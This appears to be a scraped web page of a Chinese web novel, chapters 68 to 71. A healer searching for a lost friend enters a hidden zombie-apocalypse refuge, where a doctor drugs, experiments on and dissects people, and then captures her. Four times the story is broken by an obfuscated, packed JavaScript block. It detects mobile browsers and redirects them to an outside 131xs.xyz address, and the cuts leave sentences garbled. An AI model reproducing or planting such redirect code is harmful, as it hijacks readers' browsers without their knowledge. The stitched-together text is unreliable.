RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503759|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只说是路过。 对方看着池遥的目光没有几分感激,反而充满狐疑和警惕,绷紧了伤痕累累的身体,目光犀利地盯着她。 “谢谢你救了我,但可以先说明你的身份吗?我似乎从来没有见过你。” 话虽这么说,可对方明显没有丝毫谢意。 “我叫池遥。” 顶着对方冷冽的目光,池遥在狭窄的车内无意识向后缩了缩身体,说了自己的名字。 “我是林北辰。”年轻人同样只说明了姓名,“你是从什么地方过来的?怎么会出现在这里?” 刚刚与翁老说话时,他还有几分敬意,此时面对池遥却完全换了种态度。 若是对方态度友善,池遥或许会主动说明自己的旅人身份,但被如此对待,池遥的神色也渐渐冷凝,低声道。 “我所在的营地前几天被丧尸捣毁了,我一个人逃了出来,正在找新的避难所。” 她的话挑不出什么毛病。 “你是能力者吗?”林北辰问她。 池遥点点头。 “距离这里最近的一个避难所是隐山,那里只招收能力者。我接下来要去的地方路过隐山,你如果要去的话,我让人捎你一程,算是报答你救了我。” 现在还不清楚这个世界的具体情况,也没办法直接询问面前的林北辰,还不如先找个地方落脚,再从长计议。 想到这里,池遥点点头,同意了林北辰的提议。 见池遥点头,林北辰掏出对讲机,余光瞥了池遥一眼。 如果池遥是个明事理的人,她现在就应该下车避嫌,但她朝林北辰点了点头,坐在车里巍然不动。 见池遥不动,林北辰握着对讲机,半晌没有动作,直到外面再次响起丧尸的吼声,他才蹙起眉,捂着出声孔,将对讲机放到嘴边,轻咳一声。 “队长。” 听到他的声音,对讲机里立刻传出了应答声,即便林北辰捂住了出声孔,但对讲机音量太大,池遥在旁边听得清清楚楚。 “现在叫上所有人,立刻收拾东西,提前出发,一小时内在我的定位处集合。” 对待自己的下属,林北辰的语气更加冷酷。 “是。” 池遥偏过头去,背对着林北辰,一边注意着对讲机的动静,一边小心翼翼地从吊坠中找出一张曲卓的照片,放在外套口袋里。 “我身边还有一个人,一会儿你们先把她送到隐山入口,再进行下一步行动,” “明白。” 对面的回答十分简短,林北辰说完这些,就放下对讲机,看向一旁的池遥。 “池小姐,我的人一小时左右就会过来了,到时候会护送您去隐山入口,明天早上就到了。” 池遥点点头,迟疑了一会儿,还是问道。 “抱歉,这个隐山究竟是什么地方啊?我之前好像没听过这里。” “普通人和一般能力者的确不知道隐山的存在。”林北辰开口,“据说那里是一片世外净土,在末日初期收纳了很多无家可归的幸存者,现在由于人口过于饱和,只接收能力者了。” 池遥明白了,林北辰对这个地方似乎也不算熟悉。 “对了,池小姐,隐山的存在一般人是不知道的,等你到了隐山,请不要透露我的存在。” 池遥点点头。 69. 隐山秘闻2 一小时后,三辆面包车在他们身边停下,在得到林北辰确认后,池遥率先打开车门走出来,想扶一把重伤的林北辰,但他显然很不领情,撑着残破的身体挣扎下车,看也不看池遥伸出的手,于是池遥也默默把手收了回去。 停在他们面前的面包车,外壳和玻璃都经过改装,看起来似乎有点破旧,但仔细打量就知道坚不可摧,林北辰支撑着伤痕累累的身体,没理会一旁想搀扶他的手下,面无表情地坐进了面包车前排,示意池遥和他坐一个车厢,池遥单手握着车门,一时没动。 “林队,我有个朋友和我失散了,你看这个人你见过吗?” 她将口袋里的寻人启事掏出来,展开递给林北辰。 林北辰的目光在照片上快速浏览了几秒,把纸片递给一旁的下属。 “没见过。” 几位属下纷纷摇头。 池遥点点头,这才爬上车,关紧了车门,还不忘收回发出去的纸页。 “送她去隐山。” 前座的林北辰吩咐了一句,就闭目养神,不再说话了。池遥猜测是他的伤势太重,但反正他现在已经没有生命危险,池遥也不打算再为他治疗,她和这人不对付。 而池遥也不说话,将头倚在窗边,静静地看着车窗外的风景。 与到处都有丧尸游荡的故乡不同,这辆车似乎有意在朝着宽阔的大路上开,而隔着车窗,池遥从未看到丧尸。 难不成,这个世界的丧尸与她认知中的丧尸不一样吗? 林北辰向她介绍隐山的时候,说隐山是距离这里最近的一个避难所,然而,此时她所坐的车子却开进了高速公路,足足五小时才下高速,林北辰的下属赶来却只需要一小时,个中缘由,她还是不要细想比较好。 池遥在车里昏昏欲睡,整个人精神萎靡,又因为自己糟糕的睡眠质量始终无法真正睡过去,等到车辆停下时,司机先一步下车,给她拉开车门,池遥浑浑噩噩地下车,头顶差点碰到车门,司机连忙伸手护着她的头顶,把她接下车。 “朝着这个方向再走几公里,就到隐山的入口了。”林北辰在车内拉下车窗,嘱咐道,“前面不顺路,我们就先回去了。” 池遥点点头,站在原地,等三辆车调头离开,彻底消失在视野之内,才朝着林北辰指着的方向迈出脚步,但她注意到,这三辆车离开后不久,留下的车辙印也消失了。 此时,天色已经微微亮了,她停在山路上,周围简直是荒郊野岭,很难想象这里居然存在着一个避难所。池遥低头轻轻打了个哈欠,一路上精神紧绷,随时注意周边的情况,让她意外的是,这一路上十分平静,这座山安静得仿佛只剩她一人,连动物都没出现过一只。 走了一会儿,池遥停下脚步,仰起头,盯着头顶泛着白光的天幕,有些踌躇。 林北辰该不会是在骗她吧? 但此时,除了相信他,也没有第二种办法了,池遥站在原地歇了一会儿,才继续向前走去。 三辆面包车出了山区,停在公路边。 “都办好了吧?” 林北辰点燃一根烟,衔在口中,吸了一口,等身上撕裂的痛感有些麻痹,才开口问道。 “办好了。”一旁的司机点点头,掏出一张白色硬纸板,展开左手,也就是刚刚护着池遥脑袋的手,正对着纸板,没过几秒,纸板上逐渐显现出了熟悉的景象,正是池遥此时身处的环境。 “很好,翁老那边一直想阻挠我,我偏要把隐山给拿下,就先让她进去探探路,看看隐山内部是什么情况。” 微弱的火光之下,林北辰的眼中仿佛凝了一层坚冰。 “还有隐山持有的秘密武器,也要抢过来,这样......” “这样二少才有资本和大少抗衡?”身后的下属接话道。 林北辰冷哼一声,不再说话了。 走了将近一小时,池遥浑身上下狼狈极了。 最开始好歹还有山路可走,到中后段,简直就是在泥泞的荒山里东一脚西一脚的前进,她能不迷失方向就不错了。 走出一片树林,前方忽然变得开阔起来,与此同时,有数道声音骤然响起。 “什么人?” “怎么找到这儿的?” 几个全副武装的人出现在她面前,手中的猎枪对准了她,池遥立刻举起双手。 “我是流浪到这里来的。原来的避难所被丧尸捣毁了。” 听到她的话,再看到池遥的长相与动作,拦在她面前的几人神色明显放松几分,其中一人问。 “你是能力者吗?” 池遥点了点头。 “稍等一下,我们回去向院长报告一下。” 没过一会儿,几人重新出现,带着池遥一路向前走。 很奇怪,前方明明是又一片树林,然而,没走几步,再次迈出一步之时,眼前的景物却突然变了。 郁郁葱葱的树林转瞬之间消失,重新铺开在池遥眼前的,是一片建在山里的城镇。 最显眼的莫过于远处连在一起的白色大楼,看起来像是非常高端的医疗大楼,但除了这些大楼之外,目之所及的房屋全部十分低矮,一侧是整齐的低矮小洋楼,而另一侧肉眼可见的脏乱,搭着破旧的小平房,甚至还能看到露天的草棚。 这个世界的气温要比北城稍微高一点,但也只是从零下十几度到零下几度的区别,这样的温度之下,居然还有人住在草棚里。 “那边是没钱的贫民区。”见她在打量这里的建筑,身旁的人简单为她介绍道,随后指向另一边的小洋楼,“这边是能力者和富人区。” 池遥点点头,在心中统计了一下,贫民区和富人区所占的面积大约五五分,之前从林北辰口中得知这里只招收能力者,她还以为这是个大部分都是能力者的区域,但现在估算起来,能力者的数量恐怕只占据了总人数的四分之一。 “稍等一下,院长很快就到。” 身旁的人停下脚步,池遥也跟着停下,停顿了一会儿,忽然开口问道。 “这里是只接收能力者吗?” “也收普通人,只不过普通人要想进来,必须要交付足够的晶核才行。” “晶核?” 这是一个池遥从未听过的名词。 身旁的人莫名其妙地看她。 “我的意思是,一个人要交多少晶核?” “这得看晶核的级别决定,要是三级晶核一颗就够,一级晶核的话,怎么也得二十颗吧。” 听完这话,池遥点点头。 看来,晶核就是这个地方的货币了,也有可能是整个世界的硬通货。 池遥和几人聊了一会儿,很快,有一男一女朝着她走来。 二人中,男的个子不高,穿一件白大褂,手中还抱着个文件夹,女人看起来十分年轻,比池遥大不了几岁,穿着一身黑色斗篷,只露出一张脸来,妆容十分精致。 “院长。”见他们来了,池遥身旁的几人立刻朝着男人鞠躬。 “你就是新来的能力者,你的能力是什么?”男人冲池遥笑了笑,他长着一张看起来十分温和的脸,但笑起来却让池遥隐隐有些抵触。 “我叫池遥,是治疗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509341|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力者,但能力限制很多。”思索片刻,池遥还是决定说实话。 “太好了,我身边正好需要一个治疗系能力者。”男人的表情显然十分满意,而在这时,一旁的女子却突然拉过男人,在他耳边说了什么。 听到她的话,男人脸上的笑容停滞了一下,随后开口道。 “先让阿霓检查一下,没有异常的话,就到我身边工作吧。” 名叫阿霓的女人走到池遥身旁,伸出一只苍白的大手,用力按在池遥头顶。 被她的手碰到脑门的时候,池遥本能想躲,但她的手似乎只是重重按了一会儿她的脑袋,除了有点重以外,没有其他感受。很快,阿霓就收回了手,收手时似乎从她头顶上扫落了什么东西,之后朝院长点点头。 “好的,池小姐,我就在远处的大楼里,你今天先跟着他们找个地方入住,明天早上去大楼找我,会有人带你进去的。” 院长走到池遥身旁,抬起手拍拍她的肩膀,在他接近池遥身旁时,池遥蓦地闻到一股浓郁的甜香气息,当他后退时,那股异香也随着一同消失。 池遥保持着礼貌的笑意,跟着一个人去到了她的住处,为了方便她去工作,分配给池遥的是距离白色大楼最近的一幢小洋楼的顶层,池遥谢过带她进来的人,将人送走后,才打量起自己的房间。 这是一个一室一厅的小公寓房间,房间里只有最基础的一张桌子和一张床,床上空空荡荡,没有床垫。 许久无人居住,房间里弥漫着浓重的霉味,池遥从吊坠内找出一小瓶香薰,打开放在桌上,又打开窗,窗外的冷空气霸道地冲撞进来,把屋内仅有的热度席卷一空,池遥只坚持了一分钟,就关紧了窗户。 香薰的味道散开还需要一点时间,池遥坐在床边休息了片刻,走出了门。 此时已经接近中午了,富人区街道上没什么人,池遥一路穿过富人区,发现有不少小洋楼的一层都改成了不同店铺,其中最多的店铺是晶核兑换所。 有一家兑换所大门前贴着兑换清单,池遥凑上去看了一会儿,发现晶核兑换所主要是把不同等级的晶核互相兑换,比较公道的价格是一颗三级晶核能换五颗二级晶核,一颗二级晶核能换五颗一级晶核。除此之外,如果有多余的物资或者黄金珠宝,也可以兑换成晶核。同理,街边大部分店铺也全部要用晶核交易。 池遥在自己的吊坠中筛选了一番,她持有的物品大多都没什么用处,在卓越新区的时候,她把吊坠里囤积的生活用品都分给了朋友们,现在反倒没什么能用来换晶核的物品了。 沉默了片刻,她从吊坠内找出一条围巾,遮住大半张脸,又再次进了好几家不同的兑换所,进去后看几眼就走。到了第五家,屋内只有店主一人,池遥看着店主肩膀上明显的大片绷带,终于开口了。 “我是个治疗系能力者,你受的伤我可以给你治好,但是......” 她搁在柜台上的手缓慢翻过来,掌心朝上,朝店主勾了勾手指。 “......你收多少?”店主迟疑片刻,问道。 “一颗三级晶核。”池遥不知道晶核的面值,随便报了一个价。 “你当谁都有三级晶核呢?” 看来三级晶核十分稀有,池遥立刻改价。 “开个玩笑,两颗二级晶核,怎么样?” “一颗二级晶核。” 店主弯下半边身子,从柜台后掏出一颗流光溢彩的晶石,丢在她掌心里。 “不能再多了。” 池遥将手里的晶核收起来,三下五除二治好了店主的伤,走出门。 70. 隐山秘闻3 手中的二级晶核是一颗水滴形的透明宝石,池遥用两根手指将宝石举到眼前,透过宝石看去,头顶的天空也变得绚丽夺目。 池遥将宝石在手心中把玩一番,并没有发现手中的宝石有什么特别之处,似乎只是一枚十分美丽,流光溢彩的宝石,便将宝石收了起来。 穿过富人区的长街,池遥从角落里的小巷穿进贫民区,眼前的景象立刻就变了。 贫民区的人流密度远远高于富人区,比起街上空空荡荡的富人区,贫民区一眼望去到处都是涌动的人流,大小不一的平房大多都开着门,屋内烧着炭火,街边草棚的担架上堆叠着几具躯体,不知道是尸体还是濒死的人类。 池遥拢了拢围巾,在富人区,她的打扮并不起眼,但到了贫民区内,相比于连活着都难以做到的普通人,她的装束有些过于体面。 一路上,频频有人扭头打量她,池遥低头敛起目光,只用余光观察四周,四周的房子大多没有关门,路过门外时,她注意到有不少房间内的床上都躺着状似沉睡的人。 起初,她还没有在意,直到她一连看到好几家的幸存者正在给躺在床上,沉睡不醒的人擦脸擦手,才意识到,这似乎并不正常。 绕过人流最多的街道,不远处的平房内,一个年纪与池遥相仿的年轻女孩正坐在床边,为床上沉睡不醒的中年人擦脸。 房间内没有其他人,池遥敲门进屋,站在女孩身后看了一会儿,才轻声开口。 “这是怎么了?” 女孩似乎一直沉浸在自己的世界里,连敲门声都没听到,此时被她的声音吓到,仓皇回头,看到池遥的脸时才松了一口气。 “爸爸主动去给院长新研制的药品试药了,吃完药,就变成了这个样子。” “试药?” 见她不知道,女孩给她讲了自己和父亲的经历。 女孩叫卢淼,这个世界的丧尸爆发之时,她正和父母在一起,成为了第一批进入隐山的幸存者。 丧尸爆发初期,隐山所在的位置只是一个秘密研究基地,周围的小洋楼和平房都是研究员的住处。卢淼也不知道这里具体在研究什么,被称为院长的男人态度温和地接纳了他们,还把小洋楼和平房腾出来给他们住,唯一的要求就是每个月按时交房租。 面对天价的洋楼租金和相对平价的平房,大部分人都选择了平房,那个时候丧尸情况还没有现在这么严峻,大家天真的以为这场灾难一个月内就会平息,然而丧尸危机却愈加严重,只能按月交付房租,以此谋求在隐山生存的空间。 然而,贫民区的普通人处于隐山最底层,根本无法获得收入,就在这时候,院长发布了一条新规。 研究院研制的新药即将面世,据说能够抵抗丧尸病毒,但缺少样本,因此向贫民区招募试药的志愿者,给每位志愿者的家庭免除半年房租。 对于居住在贫民区的众人来说,这简直是天大的好事,卢淼的父亲也加入了志愿者的行列。 然而,一个月后,当这些志愿者们再度被送回贫民区时,却全部变成了浑浑噩噩,如同丧尸一般无知无觉的状态。 他们不再对外部的变化做出反应,如同梦游一般,在贫民区到处流窜。 院长的助手阿霓来给这些人喂了一枚药丸,大家以为这些志愿者们吃下药丸后会恢复神志,然而,吃了药丸的志愿者们却全部一睡不醒,只维持着稳定的生命体征,变成了植物人。 这件事之后,贫民区发生了不少暴动,阿霓带着院长的指示,将闹事的人们全部驱赶出隐山,贫民区再度恢复了暂时的平静。 只不过,之后每过一段时间,就会发生小规模的暴动,很快又会被镇压下去。 “我也不知道我爸爸是怎么了,现在能做的就只是每天给他清理身体,陪着他说话,看看他会不会好转吧。” 卢淼的神色并不悲伤,反而是一种绝境之中,彻底没有出路的平静。 池遥沉默了一会儿,忽然开口问道。 “你们不是一家三口吗?你妈妈......” “在第二次变异潮中变成丧尸了。” 池遥一时之间不知道该说什么。 第二次变异潮,又出现了新的名词,但此时不是刨根问底的时候,她拍拍卢淼的肩膀,弯下腰,帮助卢淼把她父亲的另一只手抽出来,用能力试探了一下。 很奇怪,池遥的能力不会出错,她传递了一点点能力进去,用输送进去的能力仔细检查了一番,却发现床上的中年人十分健康。 趁着卢淼没注意,池遥伸出手,小心试探了一下她父亲的鼻息,发现对方呼吸十分平稳。 不应该啊,按理来说,尽管池遥的能力无法治疗疾病,但也能检测出任何异常,但再次尝试一次之后,结果还是显示对方一切正常,池遥就动用了另一种能力,尝试从他身上抽取一点点生命力。 然而,她抽取生命力的动作十分小心,却发现,在她抽取了普通人致死量的生命力后,这个人的状态还是没有任何变化。 在卢淼家留了半个小时,池遥最终拍了拍卢淼的肩膀,转身离开。 卢淼转身,神色木然地望着她的背影消失在门外,再回过身时,发现父亲的床头不知何时出现了一枚二级晶核,在昏暗的房间里散发出幽幽的光。 第二天,池遥按照约定的时间到达了研究院门口,门口穿白大褂的研究员带领她进了研究基地大楼。 周围纯白的墙壁一尘不染,长廊两侧的房间全部是紧紧关闭的金属大门,一眼就能望到头,池遥跟着研究员穿过一楼走廊,沿着走廊尽头的楼梯缓步下楼。 大楼的地下没有开灯,一片漆黑中,研究员拽着池遥的袖子,减缓了脚步。 下楼的过程中,池遥的双眼逐渐适应了黑暗环境,一来到地下,就发现下面的走廊比楼上的走廊窄了一大半。 其实大楼每一层的构造基本相同,走廊也是一样的,只是池遥所在的走廊两侧摆了两排巨大的透明陈列柜,占据了走廊大半的空间,陈列柜中有序摆放着众多形状各异的尸体,有的是人类,有的是丧尸,有的奇形怪状,看不出人形,池遥在内心把这种统一归类为变形人。 陈列柜中的尸体实在太多,据卢淼的描述,隐山内没有出现过居民大规模失踪的事件,只有阿霓每个月会带走一部分交不上房租的幸存者。 卢淼说,因为隐山的保护罩十分特殊,从内部很难离开,所以阿霓是把这些人赶出隐山的。难不成,交不上房租的人们全部被当做试验品送到这里来了吗? 走廊尽头的大门是一扇巨大的,好几米宽的巨大单侧拉门,让池遥想起了医院ICU大门,池遥前方的研究员按动了大门前的门铃,没过一会儿,大门从里侧被拉开了。 “池小姐,你来了。”院长冲她微笑颔首,把她和研究员一同迎了进来。 一进门,刺目的白光晃到了池遥的眼睛,她缓了几秒,才发现这是一间面积极大的实验室,不远处的担架床上躺着不少沉睡的人,有了之前和卢淼的接触,池遥猜测这些人也同样是试药的失败品,而且大概率也是交不上房租的人。 实验室内,除了院长之外,还有将近十位研究员在做各自的工作,刚刚带领她来此的研究员也在其中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514588|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“自我介绍一下,池小姐,我是这座研究基地的院长,不过我更喜欢别人叫我Lee博士。”院长的语气十分亲切。 “李博士。”池遥点点头。 “不,是Lee,这是我对外的官方名字。”Lee博士将他的英文名字分解成字母解释给池遥。 池遥点点头,心里很无奈,这并没有什么区别。 接下来,Lee博士带着池遥来到了担架床边,指着床上毫无意识的人,对池遥解释道。 “丧尸爆发后,我们一直在此处研究丧尸病毒,已经小有成效,很快就能开发出丧尸特效药了,我们几个月前研制出了特效药样品,可惜失败了,试药的人吃了药后都变成了这副植物人的样子。” “为了挽救他们,我们想对他进行手术,看看手术后会不会有所好转,但现在麻醉药物稀缺,如果可以的话,我希望池小姐能尝试一直不停维持他的生命体征,方便我们完成手术。” 在看过走廊的陈列柜之后,池遥对Lee博士的话是一点都不信。但这里的研究员太多,位置又隐蔽,她还是留在这里观察这些研究员到底要做什么更好。 池遥思考了一会儿,如果只是维持对方的性命的话,倒不是难事,只是她也不确定自己能坚持多久,时间一长,对她而言就有点吃力了。 “手术时间大概有多久呢?”她问。 “大概两小时左右。” 时间并不长。 “可以的。”池遥点点头。 “好的,报酬方面也不会苛待您,一场手术一枚三级晶核,你看可以吗?” 三级晶核价值不菲,池遥朝他点了点头。 很快,第一台手术就准备好了。 Lee博士将病人的一条手臂展开,远远伸到旁边的床面上,示意池遥坐在隔壁床边握住病人的手,而其他人则拉上帘子,将池遥隔绝在外,在帘子里自顾自进行手术。 池遥握住病人的手,稳定的向他输送少量能力,她看不到手术过程,Lee博士和其他研究员们也十分缄默,房间内只有令人牙酸的工具碰撞声和肌肉被切开的声音。 但是,池遥输送能力的过程中,能够感知到对方受伤的程度,也能隐约感受到Lee博士等人的手术过程。 他们打开此人的身体,一样样取出内脏,又极快地放回去,最终,又速度极快的取出了病人的心脏,随即立刻放回身体,一系列动作毫不拖泥带水。 有池遥在,直到手术结束,病人依然保有生命迹象。 手术结束后,Lee博士肉眼可见地松了口气,冲池遥点点头,将担架床推进了实验室内侧。 池遥瞥了一眼,担架床上的病人从锁骨处到腰间开了一条巨大的刀口,此时已经缝合完毕,看起来还是触目惊心。 “太感谢了,池小姐,您的能力真是太强大了!”带着池遥进来的研究员笑着称赞她,这个人十分健谈,在带领池遥走进来时就和她说了好几句话,“我叫关振,是博士的助手。我有点好奇,池小姐,你的能力对自己有效吗?” “有效的。”池遥点点头。 在这一点上,她无需说谎。 山脚下的公路,停靠了两辆面包车。 “林队,池小姐进入隐山区域后不到半小时,我施加在她身上的能力效果就消失了,应该是被隐山内部的人人为清除掉的。” 听到这话,林北辰面色一凛。 “看来我们准备得还不够充分。”他的目光瞥向司机手中的纸板,纸板上一片空白,“我们先回一趟基地,带更多的人和设备过来,到时候实在不行,就武力镇压。” 71. 隐山秘闻4 Lee博士处的工作比池遥想的还要轻松,每天只需要工作一上午,就能够获得一枚三级晶核,但在外用三级晶核太招摇了,因此,从第二天起,池遥就换成了五枚二级晶核。 下午,池遥吃过午饭后,往往会在贫民区逗留一下午,除了卢淼,她还认识了不少人,她拿着曲卓的寻人启事,挨家挨户的询问,却没人有曲卓的线索。在这期间,池遥注意到,几乎每家每户都有躺在床上人事不省的植物人。 池遥在实验室也看到了很多植物人,算上Lee博士推进实验室内侧的,总共也有三十多个担架床了。然而,在贫民区众人口中,所有前去试药的志愿者都被送了回来。 这个地方十分诡异。 渐渐地,Lee博士的手术时间变得越来越长,起初只有两个小时,很快就延长到了五六个小时,池遥最开始还能在输送能力的同时关注博士他们的动向,但现在只坚持输送能力一件事就让她有点吃不消了。 最新一次手术结束时,池遥看了一眼手表,此时已经是晚上十一点了,手术持续了整整十四个小时,她整个人头重脚轻,几乎下一秒就要倒下,急需休息。 “你没事吧?”关振神色关切地扶稳她,“你需要休息。” 池遥没力气说话,但心里知道关振说得没错,气若游丝地应了一声。 “我们的休息室就在隔壁,里面有沙发,我扶你去休息一下吧。” 关振冲一旁的博士点点头,将池遥扶出实验室,推开走廊距离实验室最近的一间房间的门,里面是一间空间不大的办公室,一进门就是两条皮质长沙发,内侧是一排电动按摩沙发。关振扶着池遥坐在沙发上,关切地问她需不需要喝水吃东西,池遥婉拒后就立刻离开了,离开前还替池遥关紧了房门。 房门一关,池遥歪着身子倒在沙发上,疲惫至极,却没有几分睡意,只闭目养神,想着等身体稍微好一点就立刻离开。 这段时间的接触让池遥意识到Lee博士并非看起来那样和善,现在他顾及池遥的能力,没有对她下手,不代表她能放松警惕。 等到她稍微恢复一点力气,就立刻离开,或者路过某个研究员的时候悄悄抽取一点点生命力,刚刚关振扶着她的动作太绅士了,她的能力要用手触碰对方才能触发。 想到这里,她又有些后悔,刚刚要是让关振给她一杯水就好了,说不定能趁机抽取一点生命力。 关振关紧休息室的房门,回到实验室里。 “打开了吗?”Lee博士问他。 “已经打开了。”关振点头,他侧过头去,看到对面的白墙上投映着休息室内的景象,此时对一切一无所知的人正蜷缩在沙发上,双眼微闭,似乎已经睡着了。 “动手。”Lee博士看了一眼实验室内还没有做手术的几个病人,有几分遗憾,若是晚几天动手,可以有更大的收获,但从池遥这个治疗系能力者来到隐山,他们就一直在打这个主意,此时池遥十分虚弱,机不可失,时不再来。 池遥只是在闭目养神,脑海中在慢吞吞地捋来到隐山后的所见所闻,没过多久,就听到外面一阵脚步声朝她所在的房间走来。 即便是极度虚弱的状态,她身为能力者,依旧具备强化后的五感能力。 她立刻想要站起来,结果身体发软,试了几次都站不起来,只好坐在原地,眼睁睁地看着关振带着几位研究员走了进来。 除了关振,其他研究员手中都拿着针管,绳子等物品,毫不掩饰对她的恶意。 来者不善。 来得刚好。 有另一重能力傍身,池遥并不紧张,默默等待关振接近自己。 关振走到沙发前时,就看到沙发上状似入睡的人猛地伸出手,用力地握住了他的手。 直到握住关振的手,池遥才发现,她的能力用不了了! 掌心之下的能力蠢蠢欲动,却无法使用,堵塞在了原地。 熟悉的滞涩感让池遥愣了片刻,随后拼着最后一丝力气,站了起来,用身体狠狠将关振撞在地上。 “你们有屏蔽仪?” 为什么这个地方也有屏蔽仪? 其他几位研究员没想到池遥还有力气打倒关振,将池遥团团围住。 这个房间距离实验室很近,她在实验室里使用能力时毫无阻碍,因此,屏蔽仪的范围或许仅限这个房间,只要出了房间就没事了! 围着池遥的几人常年待在实验室,十分脆弱,一击即溃,凭着强大的意志力,池遥打倒剩下的研究员,跌跌撞撞地朝着门口走去。 只要离开这里! 然而,门口却突然冲进来一个人影。 Lee博士挡在门前,举着一把形似手/枪的物体,枪口正对着她。 池遥的身影一时间停住了。 她长这么大,这是第一次见到枪。 她原本所在的国家对枪/支管制是十分严格的,大多数人一辈子都不会和这种东西打交道,这也造成了池遥对于枪的认知是完全空白的,她只在游戏里见过枪,可这里毕竟是与故乡完全不同的另一个世界,她并不知道这里的枪长什么样子。 就在她停住的瞬间,Lee博士果断扣动了扳机! 池遥以为会出现子弹,但却是两枚连着电极的短针扎在了自己身上,紧接着,强烈的电流贯穿全身。 来不及做出反应,眼前一黑,浑身爬满电流,一瞬间,池遥浑身的肌肉全部剧烈收缩,她根本无法挣扎,也无法挣脱,身体不受控制,直挺挺地倒了下去。 浑身仿佛被火烧灼一般痛苦,又不由自主地抽搐,很快,她就失去了意识。 Lee博士收起□□,绕过倒在地上的女孩,先一脚踹向地上的关振,接着朝着倒地的研究员挨个踹过去。 “一群废物!” 见人已经被博士制服,其他研究员纷纷站起身,将地上的人抬上担架,送进实验室。 她失手了。 这个世界看起来与故乡完全相同,正因如此,池遥总是习惯性用自己已有的认知行动,却忽略了这个世界的科研技术已经远超故乡的事实。 她本应第一时间检查空间里的屏蔽仪,但因为不知道屏蔽仪的范围,害怕殃及他人,池遥一直计划离开隐山后找一个空旷的地方再研究屏蔽仪。 再次醒来时,如坠冰窟。 池遥有好长一段时间感知不到自己的身体。很快,她就意识到,自己大概是被装在冷冻柜当中,四周雾气缭绕,她浑身上下只穿着一件手术服,不知道被冻了多久,神经反馈似乎已经产生异常,有一种自己只剩下一颗脑袋的错觉。 大概过了几十分钟,她才慢慢感受到了双手的存在。第一时间攥拳,朝着自己输送能力。 不知道昏迷了多久,她的能力只恢复了一点,输送能力时也觉得使用能力的速度极为迟缓,低温环境似乎对天赋者的能力有所限制,但好歹是成功了,她驱使着自己的能力,仔细检查了一番自己的身体。 浑身严重冻伤,被电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521441|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击又被长期冷冻,她的神经系统也变得不正常,身体多处骨折,肌肉也有几处坏死,但这并不重要。 最令她感到愤怒的是,她发现自己身体各个部位都出现了多处被切割的痕迹,留下平滑整齐的缺口。Lee博士等人割下了她的肉,进行实验研究。 检查一番后,池遥甚至有几分庆幸自己的神经系统出了问题,尽管身上的伤势十分严重,但她什么都感知不到。 周围一片死寂,池遥拼命思考对策,然而,冷冻柜里的温度又低了几度,很快,她又感受不到自己的手了,脑袋也因为低温而变得昏昏欲睡。 不知过了多久,冷冻柜被外力打开。 池遥与探头进来的关振对视,见池遥醒了,关振并不意外,抬头看了她一眼,神色自然地拿起手术刀,捅进池遥体内。 池遥微微低头看去,视觉和感知完全断联,她看得到关振的动作,他动作娴熟地切割她腹部的皮肉,与她先前的判断吻合。池遥盯着色泽冰冷的刀子在自己身体里进出,却仍旧感受不到任何疼痛。 继续看关振的动作也无济于事,池遥开始打量起周围的环境。 她视野有限,只能看到前方的天花板,墙体和地面都是冰冷的金属质地,对面似乎还有不少密封冷冻箱。 目之所及的一切分外陌生,这里并不是Lee博士的实验室,是一个她从未去过的地方。 等关振的目光再度看向她时,池遥尝试着张开了嘴。 她本想问这是怎么回事,但张了张嘴,却发现冷冻太久,她的口腔肌肉也冻僵了,活动不了,说不出准确的句子,只能啊啊叫唤,和丧尸没区别。 脑海中第一时间回想起丧尸的吼声,不想在关振面前丢人,池遥默默把嘴合上。 然而,关振离奇地理解了她的意思,朝身后看了一眼,随后说道。 “你应该感谢Lee博士,他可以从能力者的细胞中提炼出能力的具体作用。很快,你的血肉就会被做成特效药,一旦把你的细胞和丧尸细胞融合起来,就能制造出钢筋铁骨,无限自愈的丧尸。” 池遥以为关振说完特效药话题,会道貌岸然地发表一番以她一个能力者的命换一大群人的命之类的歪理,然而之后的半句话,却让她有些摸不着头脑。 她以为Lee博士人虽然偏激,但好歹是在研究能够让人免疫丧尸病毒的特效药的。 但现实似乎并非如此。 “博士的研究表明,人类变成丧尸是一种无法阻止的物种进化过程,是世界进化的一环。除了失去人性之外,丧尸的身体素质,寿命,力量,各方面都是孱弱的普通人无法比拟的。” 